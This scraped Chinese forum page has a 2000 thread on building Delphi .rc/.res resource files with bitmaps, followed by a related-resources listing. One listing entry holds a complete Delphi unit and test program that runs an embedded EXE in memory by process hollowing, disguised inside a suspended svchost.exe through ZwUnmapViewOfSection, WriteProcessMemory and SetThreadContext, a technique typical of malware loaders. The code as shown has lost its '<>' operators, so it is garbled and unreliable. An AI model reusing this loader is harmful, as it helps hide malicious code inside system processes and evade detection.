社区
GAME,图形处理/多媒体
帖子详情
在DELPHI中如何创建资源.rc?
Beachboy
2000-08-22 10:37:00
并将一个位图选入资源中?
...全文
391
6
打赏
收藏
在DELPHI中如何创建资源.rc?
并将一个位图选入资源中?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
6 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
Beachboy
2000-08-23
打赏
举报
回复
用什么资源编辑器?
yinfudan
2000-08-23
打赏
举报
回复
即使编成RC文件,也无法联入Delphi源码.
必须先用BRC编译成RES文件,才能{$R a.res}联入。
所以,创建RC文件不如直接用资源编辑器编写RES文件。
tibetty
2000-08-23
打赏
举报
回复
1.RC实际上是一个文本文件,在资源文件中加入这样一行
"<RESOURCE_NAME>"/RESOURCE_ID BITMAP <外部位图文件名>
2.编译成RES文件: BRC32 <NAME>.RC
3.在相应的单元中加入编译指令: { $R <NAME>.RES }
步骤如此,有问题再说!
Hank
2000-08-23
打赏
举报
回复
新建一个TEXT文件,然后保存成扩展名为的RC文件(纯文本格式),然后可以建立了,例如:
IC1 ICON I1.ICO
CUR1 CURSOR C1.CUR
BMP1 BMP B1.BMP
每行都分成三部分,调用名 类型 实际文件名
Hank
2000-08-23
打赏
举报
回复
和其它一样,例如:
IC1 ICON I1.ICO
CUR1 CURSOR C1.CUR
BMP1 BMP B1.BMP
Hank
2000-08-23
打赏
举报
回复
采用DELPHI自带的Image Editor就可以了!
新建一个RES文件,然后就随便添加ICO、BMP、CURSOR格式的文件!
反正用RC文件编译后依然产生RES文件,OK!然后按照yinfudan的方法添加RES文件即可!
至于RC文件不如RES好用,别听他/她胡扯,RC文件是纯文本格式,DELPHI可以直接编译!水平糙不要乱说!
Delphi
资源
文件制作工具.rar_
delphi
dll_
资源
_
资源
生成_软件编译工具
Delphi
资源
文件生成工具 我经常要在程序
中
加入许多
资源
,比如:声音、位图、光标等,这样可以使自己 软件更具特色。可以自己建立一个.
RC
的文件,然后再用
Delphi
\Bin\B
rc
c32.EXE来 编译生成一个.RES的文件,有了这个文件才能把
资源
编译到软件
中
去。 可是如果要加入一大批
资源
,要加入30个位图和20个光标的话,就要在.
RC
文件
中
一 行行加入要用的
资源
,比较麻烦。我是个懒人,所以自已写了这个能自动批量帮你完 成这个任务的工具,可以非常方便的生成.RES
资源
文件。 注意:由于Borland的B
rc
c32.EXE不能识别包含有空格和汉字的路径,所以你的
资源
来 源路径和保存路径不要带有空格和汉字,否则不能建立.RES的文件。
Delphi
资源
文件生成工具
Delphi
资源
文件生成工具 我经常要在程序
中
加入许多
资源
,比如:声音、位图、光标等,这样可以使自己 软件更具特色。可以自己建立一个.
RC
的文件,然后再用
Delphi
\Bin\B
rc
c32.EXE来 编译生成一个.RES的文件,有了这个文件才能把
资源
编译到软件
中
去。 可是如果要加入一大批
资源
,要加入30个位图和20个光标的话,就要在.
RC
文件
中
一 行行加入要用的
资源
,比较麻烦。我是个懒人,所以自已写了这个能自动批量帮你完 成这个任务的工具,可以非常方便的生成.RES
资源
文件。 注意:由于Borland的B
rc
c32.EXE不能识别包含有空格和汉字的路径,所以你的
资源
来 源路径和保存路径不要带有空格和汉字,否则不能建立.RES的文件。
Delphi
生成
资源
文件RES PNG 批处理
生成res
delphi
所用的
资源
文件,并带有png,ico 、jpeg 等使用的教程,带批处理生成res文件。
Delphi
反编译工具 DfmExplorer
通过调用Win32 API的“LoadLibrary”或“LoadLibraryEx”函数在内存
中
载入可执行模块(EXE\DLL\BPL\DPL)。 通过Win32 API的“EnumResou
rc
eName”函数找寻
RC
DATA
资源
。 载入每个发现的DFM块,解码它并以表的形式(包括它们的名称)存储在内存
中
。 在程序的主窗口我们可以以文本方式可视化所有载入可执行文件的所有的DFM。 最后,程序可以保存到DFM选择的磁盘,作为ASCII文件(.
RC
)或作为二进制块(DAT)连接到可执行文件
中
。
delphi
在内存
中
直接运行EXE类型的
资源
文件
unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存,未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var S
rc
Mz: PImageDosHeader; // DOS头 S
rc
PeH: PImageNtHeaders; // PE头 S
rc
PeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; S
rc
Mz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if S
rc
Mz.e_magic IMAGE_DOS_SIGNATURE then exit; if Len < S
rc
Mz._lfanew + Sizeof(TImageNtHeaders) then exit; S
rc
PeH := pointer(Integer(S
rc
Mz) + S
rc
Mz._lfanew); if (S
rc
PeH.Signature IMAGE_NT_SIGNATURE) then exit; if (S
rc
PeH.FileHeader.Characteristics and IMAGE_FILE_DLL 0) or (S
rc
PeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (S
rc
PeH.FileHeader.SizeOfOptionalHeader SizeOf(TImageOptionalHeader)) then exit; S
rc
PeSecH := Pointer(Integer(S
rc
PeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(S
rc
Mz, Len, S
rc
PeH, S
rc
PeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem nil then begin // 计算需要复制的PE头字节数 l := S
rc
PeH.OptionalHeader.SizeOfHeaders; for i := 0 to S
rc
PeH.FileHeader.NumberOfSections - 1 do if (S
rc
PeSecH[i].PointerToRawData 0) and (S
rc
PeSecH[i].PointerToRawData < l) then l := S
rc
PeSecH[i].PointerToRawData; Move(S
rc
Mz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存
中
的位置 if PeSecH[i].VirtualAddress 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(S
rc
Mz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^,仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; {
创建
外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; {
创建
外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境
中
的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境
中
的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试:你可以把任何一个exe文件 作成
资源
然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.
rc
'}//加入exe
资源
文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; Resou
rc
eLocation: HRS
RC
; Size: Longword; ResDataHandle: THandle; Resou
rc
ePointer: PChar; begin Resou
rc
eLocation := FindResou
rc
e(HInstance, 'myexe', RT_
RC
DATA); if Resou
rc
eLocation 0 then begin Size := SizeofResou
rc
e(HInstance, Resou
rc
eLocation); if Size 0 then begin ResDataHandle := LoadResou
rc
e(HInstance, Resou
rc
eLocation); if ResDataHandle 0 then begin Resou
rc
ePointer := LockResou
rc
e(ResDataHandle); if Resou
rc
ePointer nil then begin MemExecute(Resou
rc
ePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.
GAME,图形处理/多媒体
1,183
社区成员
14,336
社区内容
发帖
与我相关
我的任务
GAME,图形处理/多媒体
Delphi GAME,图形处理/多媒体
复制链接
扫一扫
分享
社区描述
Delphi GAME,图形处理/多媒体
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章